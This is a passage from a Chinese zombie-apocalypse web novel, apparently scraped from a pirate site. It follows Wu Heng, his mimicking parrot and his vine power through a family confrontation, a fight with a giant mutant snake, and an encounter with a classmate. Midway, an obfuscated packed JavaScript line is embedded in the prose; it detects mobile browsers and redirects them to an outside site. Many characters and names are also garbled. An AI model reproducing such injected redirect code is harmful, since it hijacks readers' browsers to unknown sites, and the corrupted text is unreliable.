少年目光顿了一下,他低下头,看见了X。 “……” X仰着毛绒绒的脑袋,眼睛又黑又亮,它踱步到了乌珩身后,鸟嘴一开,竟然与林梦之说话的声线语气一模一样,“饿了,给老子来点儿吃的!” 老人的拐杖带着风扇来,“你看人家阿珩多早就起来了,你再看看你!阿珩冒着危险出门都又回来了,你还好意思要吃的?” 少年和鸟灵活地避开,X一边跳一边模仿着林梦之说话。 “哎哟,老东西!” “别打了,老东西。” 短暂的混乱过后,林奶奶走进厨房,摸索着要找菜做饭。 乌珩忙走进去把对方请出了厨房,“我来做就是。” “老东西,烦人。”X站在橱柜上方,扭着脑袋,连表情都在效仿着躺在房间里的那个生物。 “吃完饭,问问阿珩有什么要帮忙的,然后再去睡,听见没有?”林奶奶表情虽然恨铁不成钢,可林梦之睡了一天一夜没有动静,她脸上明显也是担心关怀更多,此时跟林梦之说上了话,她倒是放心了许多。 “知道了知道了。”X在油烟机上面横着踱步,探着又短又肉的脖子,朝林奶奶的方向说道。 林奶奶已经无话了,X又低声补了一句“老东西”。 乌珩挽着衣袖,意味不明地看了这鸟一眼,无法猜测出对方这时候是在继续模仿林梦之,还是在报刚刚被老人撵得屁滚尿流的私仇。 少年切了块五花肉给X,它低头衔去,囫囵咽下去后,它甩甩头,“一般般。” 乌珩又切了一小块丢进了自己嘴里,味道的确很一般,肉味很淡,肉质松散,完全比不上变异动物的肉。 但现在这个时期的食物尤为珍贵,虽然在乌珩看来,它完全没有作为五花肉应该有的口感,但他还是将肉咽了下去。 - 深夜,乌珩上楼回家。 沙发上,乌芷抱着她的布娃娃坐得笔直,身后的落地窗已经被长势凶猛的西府海棠完全笼罩住了,它花瓣红亮,显然,这几天它没少吃丧尸,也有可能是吃了活人。 乌芷面前的茶几上,立着一根蜡烛。 开门声响起,少女跟火苗都颤抖了一下。 “哥哥!”她表情激动,说话却只有嘴型,没有声音。 乌珩关上门,放轻步伐走到了沙发旁边,“怎么了?” “爸爸妈妈在吵架。”她很担心。 “吵什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906836|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “家里快要没吃的了,”乌芷双手使劲揪着布娃娃的身体,“我的零食都拿出来被吃掉了,妈妈说,明天早上我们就没有早餐吃了。” 乌珩没有对此发表意见,而是又问:“没有吃的,吵什么?” “没有吃的就要出去找吃的啊,爸爸想让妈妈去找,妈妈想让爸爸去找,他们都不敢去,我说我去,他们又不让,真是令人感到烦恼。”乌芷用拳头砸了布娃娃的脑袋一记。 还没等乌珩开口说话,主卧的房门就被拉开了,乌世明和曾丽珂前后脚来到了他的面前。 两人的眼眶都深凹了下去,透着一股重重的忧色,看见乌珩,曾丽珂一把攥住了他的手,说道:“乌珩,你年轻,身体好,你明天出门去超市买点吃的回来吧,家里只剩小半碗米了,熬粥都不够我们跟你妹妹喝的。” 乌珩挣扎了一下,可曾丽珂的力气竟然奇大,他只能就着这个亲密得让他觉得有点恶心的姿势低声道:“我不敢,外面全是丧尸。” 乌芷昂头看着三人,也附和少年的话,“哥哥不敢很正常啊,妈妈你就让我去吧。” 曾丽珂喘出一口粗气,罕见地呵斥了乌芷,“你心里就只有你哥哥,你把爸爸妈妈放在哪里?我们说饿了你一点反应都没有,我们一说让你哥哥出门找点吃的,你马上就跳出来要替他去,我跟你爸爸真是白养你了,又蠢又不知好歹。” 乌芷的眼睛随着曾丽珂的呵斥越来越红,她眼睛都不会眨了,因为从小到大,曾丽珂没有说过她一句重话。 乌世明不耐烦地瞪了曾丽珂一眼,拉着乌芷走到一旁柔声细语地安慰着。 曾丽珂则再度祈求地看向乌珩。 乌珩摇摇头,“妈妈,对不起。” 话说出口的那一刹那,曾丽珂脸上的肌肉抖成了一面筛子,她眼睛都仿佛在外沁毒汁,她双手的指甲死死地抠进了少年的皮肤里,她咬着牙,嘎吱嘎吱响,“你怎么能,这么自私——” 她看起来像是要崩溃了,像是要疯了,乌珩垂眼看了她半晌,强硬地从她手底下挣脱,他没有立即远离,而是还靠近了对方一步,以至于他声若蚊蝇,曾丽珂都能听得一清二楚。 “您不敢出门,我就敢了吗?”乌珩的侧脸贴着曾丽珂的脸蹭了蹭,母子情深的样。 之后,他垂下眼睫,舌尖在贝齿间时隐时现,侧影像极了一条玩弄猎物的幼蛇,“妈妈,我们各凭本事活下去吧。” 他轻轻推开女人,女人却踉跄着往后退了一大步。 曾丽珂不可置信地看着乌珩,一副受到了莫大伤害既愤怒又受伤的神情。 紧接着,一股奇异又特别的香气吸引了她的注意。 她低下头,发现这股味道是从自己手上传来的,她的手怎么会闻起来这么香呢?香得简直让人想一口齐齐咬紧嘴里。 曾丽珂举起双手,疑惑地端详——她几根指尖刚刚掐破了少年的肉,指甲缝里还有几缕肉丝,鲜血稍多,味道正是这些东西散发出来的。 隔着指缝,乌珩被她直勾勾地看着。 而曾丽珂则一边直勾勾地看着自己,一边还不忘伸出舌头舔舐指尖,一种清甜芬芳的味道传至曾丽珂的全身,她整副身体都因此兴奋战栗了起来。 摇曳的烛光里,乌珩紧绷的表情如湖面水纹荡漾开,他柔声提醒,“妈妈,你口水流下来了哦。” 20、第20章 曾丽珂错愕地用衣袖去揩嘴角,“你以为妈妈是小孩子吗?还流口水! 她转身忙不迭地走进了房间,她的走动,致使乌世明和乌芷身旁的空气流动加速,乌芷低着头认真难过,乌世明却敏锐地皱了皱鼻子,什么味道这么香? 男人跟随着妻子的脚步,也回了房间,留下儿女在客厅大眼瞪小眼。 “哥哥…” 乌芷无措地揪着布娃娃的两只耳朵。 她的布娃娃是乌珩两年前给在汉州的欢乐谷给她买的一只10寸猴子,因为她的生肖是猴。乌芷但凡在家,便时刻都抱着这只猴子,谁都无法从她手中,成功拿走猴子,除了乌珩。 乌珩走到乌芷跟前蹲了下来,抬眼看着对方,“乌芷,你想出去吗?" 乌芷最喜欢哥哥的眼睛,也最害怕哥哥的眼睛,她想看,又不敢,“出去哪里?" “不知道,大概是一些比家里更有意思但也更危险的地方。”乌珩懒得解释,如果乌芷愿意留在家里成为乌世明和曾丽珂的食物,那也算是为他卸掉了一个包袱。 ''因为家里没有吃的了,所以我们需要出去,对吗?”乌芷小心翼翼。 见乌珩没说话,乌芷攥紧了娃娃,“哥哥去哪里,我就去哪里。” “他们呢?”乌珩朝主卧看了一眼。 爸爸妈妈从今天早上开始就怪怪的,他们整天都待在卧室里没有出来,还把家里的吃的都吃光了…” 乌珩收回目光,看回到她的脸上,“你一天没吃东西?" 乌芷摇了摇头。 少年没说话,而是起身回到了房间,他拉开衣桓准备把乌花之前拿过来的干脆面给对方,然而他如今看见的却是被他被翻得乱七八糟的一整柜子的衣服,那十几包干脆面也不翼而飞。 身后,乌芷一脸期待地看着哥哥的背影。 良久后,乌珩慢慢推上衣柜门,回头道:“你先饿两天吧。 乌芷瘪了下嘴巴,她用布娃娃挡着肚子,以为能挡住肚子的咕咕叫,她转身准备回房问去饿着。 乌珩却叫住了她。 “乌芷,你今晚在我房间睡。" 小女孩一听,连饿都抛在了脑后,抱着布娃娃就躺到了乌珩的床上。 乌珩脱掉鞋,在衣柜的最上层取了床棉被在地上打起了地铺。 他的房间很小,打地铺还需要将桌椅挪到墙角,空地才能躺得下一个人,更何况,乌珩又不是矮小的身材,他只是很瘦,实则每一处骨骼都是纤长的,。 睡前,他因为曾丽珂今晚的异常,想起了小时候。 他四岁的时候,乌芷出生,乌珩趴在躺着婴儿的摇篮边,无比期待自己妹妹长大后的样子。 到了乌芷上幼儿园的时期,兄妹俩因为一点小事打了起来,乌炸擦倒后后脑个磕在了茶几上,血流如注,乌世明和营丽河胞着乌形去医法看诊,结果是大脑受到了不可逆的损伤,学习能力语言系统记忆系统等等全部都不可能再正常生长。 乌世明从医院回家,身后跟着抱着奄奄一息的乌芷的曾丽珂,那天,乌世明差点用皮带将乌珩抽死。 乌珩觉得自己该死,因为是他害了乌芷,之后,就算乌世明对他三天一小打五天一大打,他也觉得这些都是自己应该承受的。 在学习以外的时间,他加倍地对乌芷好,如果可以,他甚至愿意以自己的生命去换乌芷的健康。 直到小学快毕业的那一年端午,乌珩在房间午睡,而乌世明和曾丽珂完全忘记了他还在家这件事情,两人在客厅跟各自的弟妹大谈特谈孩子的教育问题。 乌珩站在房间门背后静静地听着,脸上还有几块没有愈合的血痂。 从大人们的口中,他得知了乌芷大脑损伤的真相。 真相是与他无关,因为乌芷的脑补缺陷是在曾丽珂子宫里便存在的问题。 乌世明: 曾丽珂: “不这么做的话,兄妹俩的感情哪能像现在这么好?" “是啊,我跟他爸爸以后年纪越来越大,乌珩可比大多数小孩聪明,这种孩子心思多起来我跟他爸爸可应付不了,所以只能在他很小的时候就下手彻底政造他,你们看看,他现在对乌芷多好。 端午过后,乌珩开始寡言,他在家可以一连好几天不说话,他连吃饭都可以不发出一点声音,像一只落在餐桌上的饭蝇. 乌珩也曾试图杀死乌芷,不管是用老鼠药还是敌敌畏,不管是将她推入湖底还是推下摩天轮,他脑海中浮现出无数杀人的方式,但他却没有一次付诸于行动,. 与乌芷无关,错的不是乌芷。 乌芷一直都是他的妹妹,但乌世明和曾丽珂从那个端午开始,就已经不再是他的父母, 更遑论门外那两个怪物。 天蒙蒙亮时。 “pppp” “小珩?" 门外,女人敲完门后,将耳朵紧紧贴在门板上,双眼发直地看着前方。 房间门忽然打开,曾丽珂脑袋猛地转过去,夸张的热情笑容僵硬在了脸上。 乌芷抱着布娃娃站在她的面前。 “小芷,你怎么睡的哥哥房间?”曾丽珂摸了两下头发,问道. 乌芷还在生气昨天晚上妈妈呵斥自己,她看着侧方,“你别管,好吗?” 曾丽珂目光下落,看见了睡在地上的少年,她的唾液极速分泌,恨不得将面前挡着路的乌芷一巴掌扇开,可她又舍不得 女人的目光充斥着不甘心,“你睡觉去吧,还早呢。" 乌芷回到床上后,乌珩缓缓睁开了眼睛,他坐起来。 乌芷面朝着他所在的方向,睁着一双大眼睛,“哥哥,妈妈身上臭臭的。” 乌珩面无表情,“那你记得离她远一点。” “喔。 “离爸爸也远一点。" “爸爸身上也臭臭的吗?" “自己去闻。”乌珩爬起来,站到被子的一边,弯腰将被子鲁起来重新放回到了柜子里 乌珩下楼到林梦之家里做早饭,院子里正好游荡来了两只丧尸四处嗅闻,头上已经被黄白脓液包了一层厚厚的浆,沿着露着白骨的下巴往下滴 少年捡起鞋柜上的刀,他如一道黑色的鬼影飞梭到了丧尸眼前,在丧尸张嘴之前,手中的刀直接顺着臭气熏天的嘴滑进去,刀尖从后脑勺抵出。 旁边那一只,一条青藤不知何时从晨雾中出现,游蛇般包裏住它的头颅,藤条的包裹看似温柔,丧尸的头颅却直接在包裹中被挤压成了一团浓浆 “恶心。”乌珩淡声评价。 几根藤条将丧尸的尸体丢出了院子. 乌珩低着头,不知道在想什么。 他视线落在了院子里林奶奶末世之前刚种的那些蔬菜苗上面,此刻菜苗已经不见踪影,就剩下几块光秃秃的土地. 丢完尸体回来的藤条将土地翻了个底朝天,灰头士脸地钻回了少年的身体。 回屋的两三米路程,乌珩在想,他差点忘了,他面对的不仅有丧尸和变异的动植物,还有身边一直存在着的-一人。 林梦之仍然处于沉睡中,他皮肤与昨天相比越发地发暗,今天他已经没再继续出汗,可体温却更好,乌珩走进房间察看的时候,被子都正被烧得熊熊冒黑烟。 乌珩被黑烟呛得咳嗽,几条藤伸过去把林梦之卷起来丢到了地面,接着又拍灭了马上就要窜起来的火苗。 到这时候,乌珩几乎已经能断定林梦之的异能大概是跟火相关,之前他一个劲的出汗,他还以为是蒸汽 “林梦之又睡懒觉?”林奶奶坐在餐桌边,只听见一个人的脚步声,便没好气地问。 乌珩“嗯”了声,“我给他留了早饭,你先吃吧。" 老一少面对面吃着早餐,老人吃的是一碗酒了葱花还滴了香油的挂面,乌珩还在面上面铺了两个荷包蛋,老人右手边甚至还有一碟酱黄瓜丝。 而乌珩面前只有一篮子已经开始了的水果。 他百无聊赖地陪老人吃着早饭,打算等会去外面吃自己真正想吃的。 “阿珩啊,你待会,待会别出去,你跟林梦之不是喜欢吃我做的咸烧白,现在正好闲着,我给你们露两手。”林奶奶忽然出声说话. "……….”乌珩咬着香梨,应了声“好” 林梦之虽然厨艺不错,可一些最讲究地道与老手艺的菜式,他就始终不得其法,比如家里的咸菜睡菜于菜就全部出自林奶奶的手 “五花肉还有没有?" “还有两块,加起来大概三斤左右。”乌珩低眉顺眼地啃了一只又一只梨。 饭后,乌珩留在家里,为林奶奶准备着她需要的食材,但他本人却躺在沙发上悠然自得地看着书,在厨房里给林奶奶打下手的是从身体里滑过去的几根藤 “盐,盐给我。 藤条在一堆瓶瓶罐罐里扒出盐罐,放到林奶奶手边,敲了敲,示意她盐来了。 老人看不见,完全没有察觉到周围的异常,厨房都快被手忙脚电,的藤子塞满了,它们相细不一,有的藤身长满了刺一样的毛,有的光溜溜天花无叶,它们围着老人,在厨房里挤成一团,像个蛇富 但林奶奶打开火时,它们立刻就退散了开,不少还跑回了少年身边趴着 将几碗咸绕白都蒸上之后,林奶奶从厨房里走出来,“阿珩,你看着些,熟了就把火关了,我得再去睡睡,等睡好了要是林梦之又还在睡做觉,看我不用拐杖揍他一顿…“她一边骂骂咧咧一边回了房间。 乌珩饿得难受,但还是等到烧白完全熟透后,他才关上火,背着包拿着刀,悄然出门。 小区死气沉沉,实际上大部分人应该都在家,可生气就是一日比一日少。 X在前面先去转了一圈,它成长得很快,不管是身体还是心智。 那层幼鸟的绒毛在这几天掉得都差不多了,换上了一层又一层成鸟的硬毛,翼展也比先前长出一倍,之前顶多也就20cm左右,如今身影偶尔闪过,当真像乌珩最开始错看成的小鹰。 X飞回来,但是没有降落,它只是在乌珩头顶盘旋,“吃点儿。”它着说。 然后朝着一个方向飞去。 乌珩将刀插进绑在大腿上的刀鞘,他朝着鹦鹉往前飞行的轨迹飞速移动。 街道上尽是饥肠辘辘的丧尸,少年走的当然不是大道,他选择走的是藏匿在小区里的羊肠小径。 几个小区连接但并不相通,中间都用围墙或者高高的棚栏分隔开,平日里打理得并井有条的绿化变得杂乱又异常的蓬勃,遮天蔽日。小经上不止有偶然出现的丧尸,还有突然就朝少年发起攻击的植物 巨大的仙人掌林立在几棵桃树之间,并不引人注意,听见疾驰的脚步声,它抖了下身体,一阵针雨带着簌簌之声撕破空气,直奔乌珩而去。 乌珩身体的反应速度比单纯还是人类时灵活迅速了许多,他在地上滚了几圈,藤条盘成一个盾,挡下了全部的尖刺。 他抬眼,目光清冽,挡在身侧的藤身皆被穿透,只是没有完全穿透,但仙人掌预备发起第二轮攻击。 想也不想,乌珩攥住身旁栅栏,直接从最上方翻了过去,藤条跟在他的身后疯狂摇摆,试图甩下身上的刺。 在路上,乌珩没有停下思考,他脑海里出现虞美人的藤身被刺穿的场景,按照强弱法则的一贯逻辑,越强则越牢不可破,甚至可以达到没有弱点的境界。 但很明显,他的鸟,他的藤,还有他自己,一身弱点。 虞美人能感知到少年的想法 显然是为了证明自己, 它在前后方对着两侧植物发疯一般的攻击,碎叶树枝如天女散花般从乌珩的头顶一路撒落。 在看见X之后,乌珩停下来,他平复着呼吸,声音发哑,“你是疯,而不是强。 藤条收了只剩下一根,它趴在乌珩的肩头,很委屈的模样。 乌珩饿得心情越来越差,他没有安慰对方,径直朝X走去。 X蹲骝的位置是一所幼儿园的大门,平时热闹的幼儿园此刻寂静冷清,大门左右的卡通人物一歪一倒,侧门与保安亭不知何故已然坍塌,而门口的空地居然已经有了厚厚的一层落叶。 乌珩往前走了两步,拔出了刀。 X飞过来,站在他的肩头,“吃点儿。”它用鸟嘴顶了顶鸟珩的头。 一人一鸟一花,此时此刻都饿得抓心挠肝。 但乌珩还没有因为饥饿而失去理智,他走得慢条斯理,因为周围不仅太过安静,还没有丧尸的身影。 直到今天,外界没有传来任何有关救援或者清理怪物的消息,城市还没有等来救援,城市依然处于地狱之中。 乌珩迈进校园,侧前方的玉兰树枝叶茂盛,它比以往高了粗壮了两三倍不止,连花朵都绽放得数量更多,颜色更艳丽。 他绕过玉兰树,路过操场,此刻他的左手边是一片沙地,上面还有滑滑梯和城堡,专供小孩玩乐的场所。 乌珩在沙地边蹲了下来。 沙地的表面有几块破碎的成年人鞋印,有重物被拖行的痕迹,并且被拖行的物体还是活的,因为活物会挣扎,然后导致沙地上的痕迹深深浅浅,大大小小,只有拖行的方向,而谈不上平滑均句。 但痕迹却不止一两种,另外还有一种大面积的均匀蜿蜒的滑痕。 乌珩眯眼瞧着,不动脑子都能判断出大概率是无足动物爬行过的痕迹。 “你找到的猎物是虫子?”乌珩试探性地问肩头的鸟。 X依次跺了一下左右脚。 是,也不是。 而趴在另一边肩头的藤条却猛然昂首,乌珩回头,还没看清朝自己快速滑行的生物到底是什么,青藤就卷住他的身体一下丢出去老远。 乌珩重重摔在地上,他迅速爬起来,蹲在地上看向刚刚准备从自己背后袭击自己的生物。 沙地上的细沙慢慢落地,模糊的黑影慢慢显出清晰的身形——那居然是一条水缸粗的巨蛇! 它盘起身躯,如一座会移动的山峦,三角形的舌头上点着一双细长暗红的蛇瞳,它死死地盯着眼前的人类,红得发黑的蛇信子每一次吐出,身上的鳞甲都会跟着浅浅的起伏一次。 乌珩攥着刀,他手中的刀与这条巨蛇相比,大概连一根绣花针都算不上。 难怪幼儿园和幼儿园附近安静得出奇,原来成了个蛇洞。 "这就是你找的猎物?”少年看着远处的黑色软下上半身,它匍匐在了地面,朝左滑去,分明是要发起进攻了。 X已经飞到了玉兰树的树顶上。 乌珩难得低骂一句死鸟,他站起来,发现黑蛇已经将自己严丝合缝地包围在了它用身躯绕成的圆圈之中。 沙沙的声音断断续续,蛇信子咝咝的吐息,它看少年的眼神越来越垂涎。 乌珩将刀刃朝下,他一动不动,只有眸子从乌黑变成了鲜红。 黑蛇这时候终于停下了游走,它甩着尾巴,游行的速度几乎让人看不清。 空气中野生动物的气息袭进,乌珩偏身闪过扑来的血盆大口,同时甩出藤条刺向蛇头的眼睛。 巨蛇灵活甩尾躲了过去,乌珩索性延长藤条捆住了巨蛇颈项,一股难以想象的巨大力量直接将他拽飞了出去,乌珩摔在蛇身上,蛇身左右摆动,乌珩想也不想,举起刀就往身下的蛇身捅去。 咔嚓一声,刀刃断成两截. 乌珩丢了刀柄,无数根青藤从他后背伸出,唰唰几声,藤条齐齐捆住蛇身,打算直接将这条蛇从中间勒断 他能感觉到蛇身表面那一层鳞甲的坚硬,如铁一般,他更能感知到藤条已经用尽了全力。 乌珩脸上的血色慢慢流失,他嘴角淌出血丝,同时也闻到了来自身下,蛇血的味道。 饭要熟了。 乌珩手掌摸到变异蛇被勒得流血的部位,他将掌心贴上去,柔软的藤条立刻从他掌心探出,钻进鳞片底下,如铁丝一般绕了一圈,猛地内收! 但变异蛇怎么可能让他如愿,它看出乌珩才是这些烦人植物的老大,它暴起,掉头张口朝乌珩咬去。 “嘎” 在树顶避战的鹦鹉俯冲下来,它扇动着翅膀,用两只爪子不停地试图去抓变异的眼睛。 变异蛇的蛇信子一下吐出,卷住了X的身体,伴随着一声惨叫,X被扔了出去,天上掉下来几片带血的羽毛 变异蛇没有停歇,转头狰狞地朝乌珩咬去。 乌珩翻滚在地,捆在蛇身上的藤条与他的身体分离,枯萎脱力。 咝咝。 变异蛇看着自己被勒出血的身体,它嘶叫一声,将自己的身体拉成了一道弓,以闪电之势冲向乌珩。 乌珩这时候才从沙坑里踉踉跄跄的爬起来,他身体还没站稳,变异蛇暴怒的蛇眼已经与他四目相对,而乌珩,他从未如此近距离地看见过蛇的口腔内部结构。 冰冷的气息反而使他冷静,他抬手,一扯嘴角,“该开饭了。” 青藤从他掌心窜出,径直一头扎进变异蛇长大的嘴里,短暂的死寂过后,变异蛇发出长而刺耳的嘶鸣。 乌珩已经尝到了血的滋味,他发出一声喟叹,将于掌往前送了一分,青藤便更有力而迅速地在变异蛇的体内行进。 啪叽一声,一小截柔嫩的青色从蛇尾冒出了头。 变异蛇在此时疯狂地摆动身躯,它摔在地上,扫塌了一切可以扫塌的事物,它白色的柔软腹部露出来。 乌珩眼睛一亮,蛇身在此时莫名挣扎甩动得更加剧烈。 变异蛇身体内青藤抽出分枝,唰唰数声,整齐从蛇腹刺出,洁白的蛇腹被绿色覆盖,底端冒出星星鲜红。 轰隆一声巨响,变异蛇倒在地上,彻底停止了挣扎, 藤条收起分枝,从蛇的体内滑出,它被染成了一整根红色的藤,尾端托着一枚红色的能量核. “蛇是红色的能量核?”乌珩从这颗能量核中感知到了非常明显的能量流动。 乌珩走了几步路,捡起地上的书包,将能量核丢了进去,再隔着几步路的距离,X躺在那块地上。 X转动着脑袋,视野里出现了乌珩毫无攻击性的秀美的脸。 乌珩没去拾它,而是问:“还跑吗?" X低微地叫了一声,颤颤巍巍抬了抬右脚。 条青藤伸出去,把X卷着举了起来,还抖了抖它身上的沙子。 乌珩则头也不回地朝失去生息的变异蛇走去。 他挽起衣袖,围着变异蛇走了一圈,接着蹲在了蛇腹靠前的位置,他手掌贴着冰冷的蛇身摸了摸,像是在确定什么东西的部位一样。 只见他眼睛亮了一下,藤条没入,然后他的手掌就直接伸进了蛇腹之中,很快,他抓着一只心脏出来。 变异蛇的心脏也比普通蛇的心脏要大得多,像一只水分充足的柚子。 乌珩咬下一口。 少年改为盘腿坐在地上,他吃相斯文含蓄,可旁边的鸟跟藤就不是如此了。 X几乎是带着恨意在吃变异蛇的肉,它眼睛血红,尖锐的喙探出去,叼着一大块蛇肉咽进肚子里,吃了没几口,半个鸟身都染上了不少变异蛇的血和体/液, 藤就更粗鲁,它在变异蛇的身体里钻进钻出,吃的主要是乌珩不好动嘴也不是很喜欢的脏器和骨头,变异动物的一切都比普通食物要美味,也蕴含着它所需的能量,所以它一处都没落下。 而口感鲜嫩的纯蛇肉,就留给了乌珩自己享用。 颗蛇心已经让乌珩半饱,乌珩又用刀片切了几段肉捧在手中啃,他边吃,边说:“以后猎物别找强过我们太多的,打不过。 刚刚要不是少年急中生智,人跟鸟都得把命送在这里。 X扇了一下翅膀,表示听到了。 乌珩难得吃到了撑,看着剩的变异蛇肉,丢在这里他心疼,可带走,他怎么带走? 藤条已经在卖力地将剩下的蛇肉切段、码放,勤劳得令躺在地上打的鸟分外安心。 剩下一个打包的步骤,难倒了三方。 藤条在这时候勾住了乌珩的小拇指,它钻进乌珩的掌心,点了点掌心黑色虞美人花的花蕊 乌珩低头看着自己的手心,若有所思。 停顿片刻,他将手掌朝着面前的一堆蛇肉,低念,“收。 眼前的蛇肉顷刻消失。 X翻身跃起,“牛逼!” 但是,还没等到乌珩检查蛇肉是否被收进了自己那个小空间里,耳边就隐约传来了人声,他看了眼左右,下意识找地方躲了起来。 少年躲在了沙地的城堡房子里。 来人看身影是几个男生,还有一个女生,有两个男生走在队伍最前面,距离拉近后,露出小半张脸的乌珩发现,这些人他都认识。 前面两个。 一个是学委薛慎,一个是班长谢崇宜。 后面几个,乌珩不记得脸,但既然衣服都是汉州一中的校服,那应该都是同学。 其实乌珩也不记得薛慎的脸,但他知道谢崇宜身边一直都跟着一个戴眼镜的男生。 他们怎么会在这里? 不是在学校吗? 薛慎走到幼儿园操场时,停下了脚步,他打量着四周,然后眉,“那股能量不见了。 “怎么会?刚刚都还在,让老娘再感应感应。”一个名叫卖露的女生蹲下来,她将手掌贴到地面上,闭眼感受着附近的能量磁场。 “能不能行啊你?”杜遥远揉搓着自己的黄毛,烦得要死。 “别他爷催,你行你来!”窦露不耐烦道。 又是几分钟过去,窦露睁开眼睛,她惊愕地看向一旁的谢崇宜,“班长,磁场,消失了。 多大的风险来的? 面对着杜遥远的指责,卖露也不甘示弱。 "别他妈在我面前他妈的他妈的,骂谁妈眼你?你文么能,你有本事自己相办法去激活觉醒异能你别指望班长啊,来这一她怎么就白跑了?搞得你不来就不用出学校似的,不出学校喝西北风啊? 何似玉头大如鼓,他挤到两人中间,“别吵了好吗?天天吵你们不案吗?" “滚!”窦露和杜遥远异口同声。 气得面红耳赤的卖露不信邪,她索性趴在地上,五体投地式感受, 这次她的感知速度比刚才那一次快了不少,她飞快从地上爬了起来,一脸喜色,身上的灰都没拍,“我又感知到了能量磁场!" "不过.…比早上感知到的磁场要弱了一大载,我之前以为会是什么大型的变异动物,现在好像变成小型的了,就猴子,猫这类型的。 "变异动物还会变大变小?”何似玉好奇道。 "实露感知的是能量破场,”说活的人是谢崇宜,他蹲在地上,双手托腮,慢悠悠的,“能量的强弱和体型的大小没有必然的联系,所以卖器的意思应该是,能量磁场的强度大概从一头小象变成了一只猫,你是这个意思吗? 窦露连连点头。 “那不还是白来了,一只猫的能量能干什么?”杜遥远抱怨道。 乌珩收回日光,他垂眼看着趴在腿上的鹦鹉,“他们感知到的能量磁场应该是来源于你。 X抬左脚”乌珩猜到X是爱面子,承认这群人说的是它,无异于承认自己比那条变异蛇弱。 尽管X比刚刚的变异蛇弱是事实,但就连大多数人类都鲜少承认事实,开了神智的鸟自然也不例外。 “这地上好多脚印!”四处转悠的杜遥远来到了刚刚乌珩跟变异蛇缠斗的位置。 其他人闻声而至。 地上岂止脚印,还有血滴,湿痕,还有各种杂乱的痕迹 谢崇宜走来,其他人自动地将中间的位置让给了他,他也坦然得很,审视一周后,谢崇宜轻笑一声,“看来我们的猎物已经被人提前猎走了。 薛慎看向旁边的同学,“这些是打斗的痕迹。” 杜遥远看着这一大片面积的残痕,他不禁往后退了一步,“打成这样啊?" 之前从学校离开时,谢崇宜就说根据窦露所感知到的能量磁场,他可能无法保证他们每个人的生命安全。 谢崇宜在他们眼里已经是最强者的存在,能预知灾难提前准备物资,能知道丧尸和变异动植物体内有能量核的存在,最主要的是,谢崇宜是异能者。 可就连谢崇宜都表示出棘手的意思,幼儿园的不知名巨物就这么被不知名人士给摘走了? “我现在总算体会到了我奶奶玩不懂智能手机的感受了。”何似玉叹出口气。 “我也是。”杜遥远难得顺了毛,不再跟人呛。 窦露摊手,“这个世界变化的速度是不是太快了点,这还不到一个星期。 说完,她看了眼杜遥远,冷笑一声,“普通人在这个世界应该会很苦恼吧。 眼见着又要吵了起来,何似玉上前,“既然目标已经不存在了,窦露,你再看看附近有没有其他变异动植物吧,辛苦你了。 窦露说了句没事,她将于掌贴到地面,还没来得及调气感应,眼前就一阵眩晕。 薛慎眼疾手快将人扶住。 谢崇宜轻飘飘地看过去,“异能使用过度,可以了,我们回去,今天休息。” 可乌珩一贯敏锐,他坐在城堡里,感觉到谢崇宜现在的心情并不算好。 快要到手的猎物被人捷足先登,他当然不高兴。 他不高兴,自己就高兴了。 一群人只得离开幼儿园,乌珩在城堡里看着众人离开的背影,谢崇宜在里面很出众,一眼就能被辨认出来,因为他身上有一种没有经历过磨难,所以世间的一切他都不放在跟里的高责悠然感,即使是在如加同地狱般的未世,他也游刃有余,怡 然自得。 人声消匿很久后,乌珩才从城堡里钻出来,他双手扒着墙,坐着滑梯滑到沙地里。 他呆呆地坐在原地,思考着接下来去杀点什么吃吃。 “乌珩。" 时间变得漫长,乌珩僵硬地转动脖子,看见谢崇宜从城堡后面闲庭信步地走了出来, 男生的桃花眼黑沉沉的,似笑又非笑,冷意更多,压得乌珩颈子都抬不起来。 少年手掌撑着沙想要爬起来,可沙子又软又密,吞下他的手掌和半截手臂,致使他没有爬起来,只能眼睁睁地看着谢崇宜走到了自己面前。 谢崇宜蹲下来,好整以暇地看着如同惊弓之鸟的少年。 “你刚刚不是,走了?”乌珩心脏狂跳,他觉得谢崇宜身上的秘密太多了,可越多,好像就越香气扑鼻。 “是走了。”谢崇宜点点头,表情戏谑,“但是谁告诉你我只有一个我的?" 乌珩深觉谢崇宜有着一层又一层如同洋葱剥得都剥不完的伪装,他问:“分/身是你的异能? 没有得到回答,少年挣扎着想要坐起来,谢崇宜徐徐抬手,食指和手指并拢往下轻轻一按。 明明没有被碰到身体,乌珩的肩膀却感知到了一股沉重的力量——他身体重重地坐回到了沙地上。 时间,乌珩心底翻江倒海,可他表情不显,只单纯地茫然无助,“班长… 谢崇宜漫不经心,“这里的东西,你拿走了?" 乌珩一脸不解,“什么东西?" 谢崇宜笑容淡了一分,“现在这个时期,你出现在幼儿园,你别告诉我,你来这里是为了滑滑梯,还是说,玩沙子?" 乌珩手指抠着手指,他觉得谢崇宜这个理由还挺好的,于是他点了点头。 “滑滑梯还是玩沙子?”谢崇宜眼底已经没有了笑意,语气却揶揄,十分具有迷惑性 乌珩随便选了一个,“滑滑梯。 n 谢崇宜抬手,看起来像是要捏乌珩的脸还是下巴,只是手刚抬到一半,身后就传来了咝的声音。 不远处,一群幼蛇黑压压地朝这边游行而来,它们双眼通红,速度很快,体型也比普通幼蛇大上许多倍,一条条皆有成人手臂粗,放在以前也算是蟒蛇的体型了。 看着这渗人的一幕,乌珩攥紧拳头,不知道要不要出手。 他没有要动手的意思,身体里的虞美人自然也按兵不动。 谢崇宜回头时,一条蛇已经朝他咬了过来,他挥了下手,距离他最近的幼蛇脑袋直接爆开,血浆溅开时,他微微侧头,但脸上仍是被溅了几点血迹。 血液在脸上滑动的,感受让谢崇宜的风轻云淡出现了一条裂缝,他动了动手指,群蛇在一瞬间就被爆了头,地面上血肉四溅,鲜冷的腥气在空气中迅速变得浓烈. 